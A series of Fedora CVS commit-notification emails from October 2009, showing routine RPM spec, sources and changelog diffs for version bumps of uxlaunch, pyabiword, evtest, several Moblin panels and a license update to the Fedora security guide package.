===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	14 Oct 2009 19:12:12 -0000	1.3
+++ sources	26 Oct 2009 22:58:21 -0000	1.4
@@ -1 +1 @@
-fade9e58222e860e1127ef855f6a208a  uxlaunch-0.29.tar.bz2
+be3597115c3ae17ef4beec906e12a21c  uxlaunch-0.30.tar.bz2


Index: uxlaunch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/uxlaunch.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- uxlaunch.spec	14 Oct 2009 19:12:12 -0000	1.2
+++ uxlaunch.spec	26 Oct 2009 22:58:21 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           uxlaunch
-Version:        0.29
+Version:        0.30
 Release:        1%{?dist}
 Summary:        A small and quick interface to start the Moblin Desktop
 
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/man/man1/uxlaunch.1.gz
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.30-1
+- New upstream 0.30 release
+
 * Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.29-1
 - New upstream 0.29 release
 



From sparks at fedoraproject.org  Mon Oct 26 22:59:11 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Mon, 26 Oct 2009 22:59:11 +0000 (UTC)
Subject: rpms/fedora-security-guide-en-US/F-11
	fedora-security-guide-en-US.spec, 1.3, 1.4 import.log, 1.2,
	1.3 sources, 1.4, 1.5
Message-ID: <20091026225911.518AC11C0264@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14301/F-11

Modified Files:
	fedora-security-guide-en-US.spec import.log sources 
Log Message:
Updated to new CC-BY-SA license.



Index: fedora-security-guide-en-US.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/fedora-security-guide-en-US.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- fedora-security-guide-en-US.spec	5 Aug 2009 21:23:58 -0000	1.3
+++ fedora-security-guide-en-US.spec	26 Oct 2009 22:59:10 -0000	1.4
@@ -71,7 +71,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
-* Wed Aug 05 2009 Eric Chrisetnsen sparks at fedoraproject.org 1.0-18
+* Mon Oct 26 2009 Eric Christensen sparks at fedoraproject.org 1.0-19
+- Updated license to CC-BY-SA.
+
+
+* Wed Aug 05 2009 Eric Christensen sparks at fedoraproject.org 1.0-18
 - Fixed issues related to Bug 515043.
 
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	28 Jul 2009 02:59:03 -0000	1.2
+++ import.log	26 Oct 2009 22:59:10 -0000	1.3
@@ -1,2 +1,3 @@
 fedora-security-guide-en-US-1_0-14_fc11:F-11:fedora-security-guide-en-US-1.0-14.fc11.src.rpm:1247541206
 fedora-security-guide-en-US-1_0-17_fc11:F-11:fedora-security-guide-en-US-1.0-17.fc11.src.rpm:1248749919
+fedora-security-guide-en-US-1_0-18_fc11:F-11:fedora-security-guide-en-US-1.0-18.fc11.src.rpm:1256597951


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Aug 2009 21:23:58 -0000	1.4
+++ sources	26 Oct 2009 22:59:11 -0000	1.5
@@ -1 +1 @@
-1a916ec50f585e6fa51f0af7e94292a4  fedora-security-guide-en-US-1.0.tgz
+b6014b756a5839f85d33a2dbe29743bb  fedora-security-guide-en-US-1.0.tgz



From sparks at fedoraproject.org  Mon Oct 26 23:02:57 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Mon, 26 Oct 2009 23:02:57 +0000 (UTC)
Subject: rpms/fedora-security-guide-en-US/devel
	fedora-security-guide-en-US.spec, 1.7, 1.8 import.log, 1.6,
	1.7 sources, 1.7, 1.8
Message-ID: <20091026230257.9D28911C0264@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/fedora-security-guide-en-US/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16316/devel

Modified Files:
	fedora-security-guide-en-US.spec import.log sources 
Log Message:
Update to CC-BY-SA license.



Index: fedora-security-guide-en-US.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/devel/fedora-security-guide-en-US.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fedora-security-guide-en-US.spec	5 Aug 2009 21:07:53 -0000	1.7
+++ fedora-security-guide-en-US.spec	26 Oct 2009 23:02:57 -0000	1.8
@@ -9,7 +9,7 @@
 
 Name:	fedora-security-guide-en-US
 Version:	1.0
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	A Guide to Securing Fedora Linux
 Group:		Documentation
 License:	Open Publication
@@ -71,7 +71,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
-* Wed Aug 05 2009 Eric Chrisetnsen sparks at fedoraproject.org 1.0-18
+* Mon Oct 26 2009 Eric Christensen sparks at fedoraproject.org 1.0-19
+- Updated license to CC-BY-SA.
+
+
+* Wed Aug 05 2009 Eric Christensen sparks at fedoraproject.org 1.0-18
 - Fixed issues related to Bug 515043.
 
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	5 Aug 2009 21:07:53 -0000	1.6
+++ import.log	26 Oct 2009 23:02:57 -0000	1.7
@@ -4,3 +4,4 @@ fedora-security-guide-en-US-1_0-15_fc11:
 fedora-security-guide-en-US-1_0-16_fc11:HEAD:fedora-security-guide-en-US-1.0-16.fc11.src.rpm:1248747665
 fedora-security-guide-en-US-1_0-17_fc11:HEAD:fedora-security-guide-en-US-1.0-17.fc11.src.rpm:1248747911
 fedora-security-guide-en-US-1_0-18_fc11:HEAD:fedora-security-guide-en-US-1.0-18.fc11.src.rpm:1249506430
+fedora-security-guide-en-US-1_0-19_fc11:HEAD:fedora-security-guide-en-US-1.0-19.fc11.src.rpm:1256598159


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	5 Aug 2009 21:07:53 -0000	1.7
+++ sources	26 Oct 2009 23:02:57 -0000	1.8
@@ -1 +1 @@
-1a916ec50f585e6fa51f0af7e94292a4  fedora-security-guide-en-US-1.0.tgz
+231ccb3a7532dddf4f79f5397d22db6a  fedora-security-guide-en-US-1.0.tgz



From pbrobinson at fedoraproject.org  Mon Oct 26 23:03:54 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:03:54 +0000 (UTC)
Subject: rpms/moblin-panel-people/F-12 .cvsignore, 1.6,
	1.7 moblin-panel-people.spec, 1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091026230354.B989A11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17292

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	16 Oct 2009 23:31:13 -0000	1.6
+++ .cvsignore	26 Oct 2009 23:03:54 -0000	1.7
@@ -1 +1 @@
-moblin-panel-people-0.0.7.tar.bz2
+moblin-panel-people-0.0.8.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/moblin-panel-people.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- moblin-panel-people.spec	16 Oct 2009 23:31:13 -0000	1.8
+++ moblin-panel-people.spec	26 Oct 2009 23:03:54 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.7
+Version:        0.0.8
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.8-1
+- New upstream 0.0.8 release
+
 * Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
 - New upstream 0.0.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	16 Oct 2009 23:31:13 -0000	1.6
+++ sources	26 Oct 2009 23:03:54 -0000	1.7
@@ -1 +1 @@
-bb0ce4d213e4d89175c7378cce7efdc4  moblin-panel-people-0.0.7.tar.bz2
+86a98d843af9ff1082e58f2ed37402a4  moblin-panel-people-0.0.8.tar.bz2



From whot at fedoraproject.org  Mon Oct 26 23:04:27 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 26 Oct 2009 23:04:27 +0000 (UTC)
Subject: rpms/evtest/F-12 evtest.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026230427.CA79811C0264@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/evtest/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17868/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	evtest.spec import.log 
Log Message:
Initial import (#530233).


--- NEW FILE evtest.spec ---
Name:           evtest
Version:        1.23
Release:        1%{?dist}
Summary:        Event device test program

Group:          Development/Tools
License:        GPLv2+
URL:            http://cgit.freedesktop.org/~whot/evtest/
Source0:        http://cgit.freedesktop.org/~whot/%{name}/snapshot/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  automake

%description
%{name} is a simple utility to query information about input devices 
and watch the event stream generated by input devices.

%prep
%setup -q

%build
autoreconf -v --install || exit 1
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%{_bindir}/%{name}
%doc COPYING
%{_mandir}/man1/evtest.1*

%changelog
* Wed Oct 21 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.23-1
- Initial package


--- NEW FILE import.log ---
evtest-1_23-1_fc12:F-12:evtest-1.23-1.fc12.src.rpm:1256598165


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:16:04 -0000	1.1
+++ .cvsignore	26 Oct 2009 23:04:27 -0000	1.2
@@ -0,0 +1 @@
+evtest-1.23.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:16:04 -0000	1.1
+++ sources	26 Oct 2009 23:04:27 -0000	1.2
@@ -0,0 +1 @@
+6cc165aa2ffe8a9f6dd8419f43a8ca87  evtest-1.23.tar.bz2



From pbrobinson at fedoraproject.org  Mon Oct 26 23:04:33 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:04:33 +0000 (UTC)
Subject: rpms/uxlaunch/F-12 .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 uxlaunch.spec, 1.2, 1.3
Message-ID: <20091026230433.DDA0E11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17965

Modified Files:
	.cvsignore sources uxlaunch.spec 
Log Message:
- New upstream 0.30 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	14 Oct 2009 19:32:16 -0000	1.3
+++ .cvsignore	26 Oct 2009 23:04:33 -0000	1.4
@@ -1 +1 @@
-uxlaunch-0.29.tar.bz2
+uxlaunch-0.30.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	14 Oct 2009 19:32:16 -0000	1.3
+++ sources	26 Oct 2009 23:04:33 -0000	1.4
@@ -1 +1 @@
-fade9e58222e860e1127ef855f6a208a  uxlaunch-0.29.tar.bz2
+be3597115c3ae17ef4beec906e12a21c  uxlaunch-0.30.tar.bz2


Index: uxlaunch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/uxlaunch.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- uxlaunch.spec	14 Oct 2009 19:32:16 -0000	1.2
+++ uxlaunch.spec	26 Oct 2009 23:04:33 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           uxlaunch
-Version:        0.29
+Version:        0.30
 Release:        1%{?dist}
 Summary:        A small and quick interface to start the Moblin Desktop
 
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/man/man1/uxlaunch.1.gz
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.30-1
+- New upstream 0.30 release
+
 * Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.29-1
 - New upstream 0.29 release
 



From uwog at fedoraproject.org  Mon Oct 26 23:07:20 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 23:07:20 +0000 (UTC)
Subject: rpms/pyabiword/F-11 .cvsignore, 1.4, 1.5 pyabiword.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091026230721.01FC711C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/pyabiword/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19563

Modified Files:
	.cvsignore pyabiword.spec sources 
Log Message:
New upstream release




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	9 Mar 2009 18:19:53 -0000	1.4
+++ .cvsignore	26 Oct 2009 23:07:20 -0000	1.5
@@ -1 +1 @@
-pyabiword-0.6.3.tar.gz
+pyabiword-0.8.0.tar.gz


Index: pyabiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-11/pyabiword.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- pyabiword.spec	9 Mar 2009 18:19:53 -0000	1.5
+++ pyabiword.spec	26 Oct 2009 23:07:20 -0000	1.6
@@ -1,13 +1,10 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-# normally 2.6 would be enough for a dependency, but
-# abiword 2.6.7 introduced abi_widget_render_page_to_image, 
-# which is is used by OLPC
-%define abiword_api_version 2.6.7
+%define abiword_api_version 2.8
 
 Summary: Python bindings for libabiword
 Name: pyabiword
-Version: 0.6.3
+Version: 0.8.0
 Release: 1%{?dist}
 Source0: pyabiword-%{version}.tar.gz
 URL: http://abisource.com/downloads/pyabiword/%{version}/pyabiword-%{version}.tar.gz
@@ -17,9 +14,6 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 BuildRequires: libabiword-devel >= %{abiword_api_version}
 BuildRequires: pygtk2-devel
 BuildRequires: gtk2-devel
-BuildRequires: libglade2-devel
-BuildRequires: libgnomeprintui22-devel
-BuildRequires: goffice04-devel
 BuildRequires: enchant-devel
 BuildRequires: fribidi-devel
 BuildRequires: wv-devel
@@ -68,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/pyabiword.defs
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at uwog.net> - 0.8.0-1
+- New upstream release
+
 * Mon Mar 09 2009 Marc Maurer <uwog at uwog.net> - 0.6.3-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	9 Mar 2009 18:19:53 -0000	1.4
+++ sources	26 Oct 2009 23:07:20 -0000	1.5
@@ -1 +1 @@
-f308b4cd38d5ea0e8a65b9452ea33359  pyabiword-0.6.3.tar.gz
+826ea3e4cdcdd11906ce8739d07e6c26  pyabiword-0.8.0.tar.gz



From uwog at fedoraproject.org  Mon Oct 26 23:07:35 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 23:07:35 +0000 (UTC)
Subject: rpms/pyabiword/F-12 .cvsignore, 1.6, 1.7 pyabiword.spec, 1.8,
	1.9 sources, 1.6, 1.7
Message-ID: <20091026230735.A6D6511C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/pyabiword/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19705

Modified Files:
	.cvsignore pyabiword.spec sources 
Log Message:
New upstream release




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	2 Aug 2009 17:21:32 -0000	1.6
+++ .cvsignore	26 Oct 2009 23:07:35 -0000	1.7
@@ -1 +1 @@
-pyabiword-0.7.8.tar.gz
+pyabiword-0.8.0.tar.gz


Index: pyabiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-12/pyabiword.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- pyabiword.spec	2 Aug 2009 17:21:32 -0000	1.8
+++ pyabiword.spec	26 Oct 2009 23:07:35 -0000	1.9
@@ -1,10 +1,10 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
-%define abiword_api_version 2.7.6
+%define abiword_api_version 2.8
 
 Summary: Python bindings for libabiword
 Name: pyabiword
-Version: 0.7.8
+Version: 0.8.0
 Release: 1%{?dist}
 Source0: pyabiword-%{version}.tar.gz
 URL: http://abisource.com/downloads/pyabiword/%{version}/pyabiword-%{version}.tar.gz
@@ -62,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/pyabiword.defs
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at uwog.net> - 0.8.0-1
+- New upstream release
+
 * Sun Aug 02 2009 Marc Maurer <uwog at uwog.net> - 0.7.8-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyabiword/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	2 Aug 2009 17:21:32 -0000	1.6
+++ sources	26 Oct 2009 23:07:35 -0000	1.7
@@ -1 +1 @@
-bf51daf144f1b123a671c9baaa50b96c  pyabiword-0.7.8.tar.gz
+826ea3e4cdcdd11906ce8739d07e6c26  pyabiword-0.8.0.tar.gz



From pbrobinson at fedoraproject.org  Mon Oct 26 23:14:00 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:14:00 +0000 (UTC)
Subject: rpms/moblin-panel-applications/devel .cvsignore, 1.4,
	1.5 moblin-panel-applications.spec, 1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091026231400.D375A11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-applications/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23162

Modified Files:
	.cvsignore moblin-panel-applications.spec sources 
Log Message:
- New upstream 0.0.5 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Oct 2009 15:24:14 -0000	1.4
+++ .cvsignore	26 Oct 2009 23:14:00 -0000	1.5
@@ -1 +1 @@
-moblin-panel-applications-0.0.3.tar.bz2
+moblin-panel-applications-0.0.5.tar.bz2


Index: moblin-panel-applications.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/moblin-panel-applications.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- moblin-panel-applications.spec	7 Oct 2009 15:24:14 -0000	1.3
+++ moblin-panel-applications.spec	26 Oct 2009 23:14:00 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           moblin-panel-applications
-Version:        0.0.3
+Version:        0.0.5
 Release:        1%{?dist}
 Summary:        Moblin Panel for launching Applications
 
@@ -53,6 +53,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.5-1
+- New upstream 0.0.5 release
+
 * Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.3-1
 - New upstream 0.0.3 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Oct 2009 15:24:14 -0000	1.4
+++ sources	26 Oct 2009 23:14:00 -0000	1.5
@@ -1 +1 @@
-ffdb23c8ff525d9d286211b027f548f2  moblin-panel-applications-0.0.3.tar.bz2
+5c33c2dcbcada98e69757b9b4fc3ef96  moblin-panel-applications-0.0.5.tar.bz2



From whot at fedoraproject.org  Mon Oct 26 23:13:53 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 26 Oct 2009 23:13:53 +0000 (UTC)
Subject: rpms/evtest/devel evtest.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026231353.9058711C0264@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/evtest/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23117/devel

Modified Files:
	.cvsignore sources 
Added Files:
	evtest.spec import.log 
Log Message:
Initial import (#530233).


--- NEW FILE evtest.spec ---
Name:           evtest
Version:        1.23
Release:        1%{?dist}
Summary:        Event device test program

Group:          Development/Tools
License:        GPLv2+
URL:            http://cgit.freedesktop.org/~whot/evtest/
Source0:        http://cgit.freedesktop.org/~whot/%{name}/snapshot/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  automake

%description
%{name} is a simple utility to query information about input devices 
and watch the event stream generated by input devices.

%prep
%setup -q

%build
autoreconf -v --install || exit 1
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%{_bindir}/%{name}
%doc COPYING
%{_mandir}/man1/evtest.1*

%changelog
* Wed Oct 21 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.23-1
- Initial package


--- NEW FILE import.log ---
evtest-1_23-1_fc12:HEAD:evtest-1.23-1.fc12.src.rpm:1256598742


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:16:04 -0000	1.1
+++ .cvsignore	26 Oct 2009 23:13:53 -0000	1.2
@@ -0,0 +1 @@
+evtest-1.23.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:16:04 -0000	1.1
+++ sources	26 Oct 2009 23:13:53 -0000	1.2
@@ -0,0 +1 @@
+6cc165aa2ffe8a9f6dd8419f43a8ca87  evtest-1.23.tar.bz2



From sparks at fedoraproject.org  Mon Oct 26 23:16:22 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Mon, 26 Oct 2009 23:16:22 +0000 (UTC)
Subject: rpms/fedora-security-guide-en-US/F-10
	fedora-security-guide-en-US.spec, 1.3, 1.4 import.log, 1.2,
	1.3 sources, 1.4, 1.5
Message-ID: <20091026231622.8F97811C0264@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/fedora-security-guide-en-US/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23930/F-10

Modified Files:
	fedora-security-guide-en-US.spec import.log sources 
Log Message:
Updated license to CC-BY-SA.



Index: fedora-security-guide-en-US.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-10/fedora-security-guide-en-US.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- fedora-security-guide-en-US.spec	5 Aug 2009 21:23:58 -0000	1.3
+++ fedora-security-guide-en-US.spec	26 Oct 2009 23:16:22 -0000	1.4
@@ -9,7 +9,7 @@
 
 Name:	fedora-security-guide-en-US
 Version:	1.0
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	A Guide to Securing Fedora Linux
 Group:		Documentation
 License:	Open Publication
@@ -71,7 +71,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
-* Wed Aug 05 2009 Eric Chrisetnsen sparks at fedoraproject.org 1.0-18
+* Mon Oct 26 2009 Eric Christensen sparks at fedoraproject.org 1.0-19
+- Updated license to CC-BY-SA.
+
+
+* Wed Aug 05 2009 Eric Christensen sparks at fedoraproject.org 1.0-18
 - Fixed issues related to Bug 515043.
 
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	28 Jul 2009 03:00:59 -0000	1.2
+++ import.log	26 Oct 2009 23:16:22 -0000	1.3
@@ -1,2 +1,3 @@
 fedora-security-guide-en-US-1_0-14_fc11:F-10:fedora-security-guide-en-US-1.0-14.fc11.src.rpm:1247541394
 fedora-security-guide-en-US-1_0-17_fc11:F-10:fedora-security-guide-en-US-1.0-17.fc11.src.rpm:1248750029
+fedora-security-guide-en-US-1_0-19_fc11:F-10:fedora-security-guide-en-US-1.0-19.fc11.src.rpm:1256598940


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Aug 2009 21:23:58 -0000	1.4
+++ sources	26 Oct 2009 23:16:22 -0000	1.5
@@ -1 +1 @@
-1a916ec50f585e6fa51f0af7e94292a4  fedora-security-guide-en-US-1.0.tgz
+231ccb3a7532dddf4f79f5397d22db6a  fedora-security-guide-en-US-1.0.tgz



From pbrobinson at fedoraproject.org  Mon Oct 26 23:17:49 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:17:49 +0000 (UTC)
Subject: rpms/moblin-panel-media/devel .cvsignore, 1.5,
	1.6 moblin-panel-media.spec, 1.4, 1.5 sources, 1.5, 1.6
Message-ID: <20091026231749.4D2ED11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-media/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24332

Modified Files:
	.cvsignore moblin-panel-media.spec sources 
Log Message:
- New upstream 0.0.6 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	16 Oct 2009 23:47:37 -0000	1.5
+++ .cvsignore	26 Oct 2009 23:17:48 -0000	1.6
@@ -1 +1 @@
-moblin-panel-media-0.0.4.tar.bz2
+moblin-panel-media-0.0.6.tar.bz2


Index: moblin-panel-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/moblin-panel-media.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- moblin-panel-media.spec	16 Oct 2009 23:47:37 -0000	1.4
+++ moblin-panel-media.spec	26 Oct 2009 23:17:49 -0000	1.5
@@ -1,5 +1,5 @@
 Name:           moblin-panel-media
-Version:        0.0.4
+Version:        0.0.6
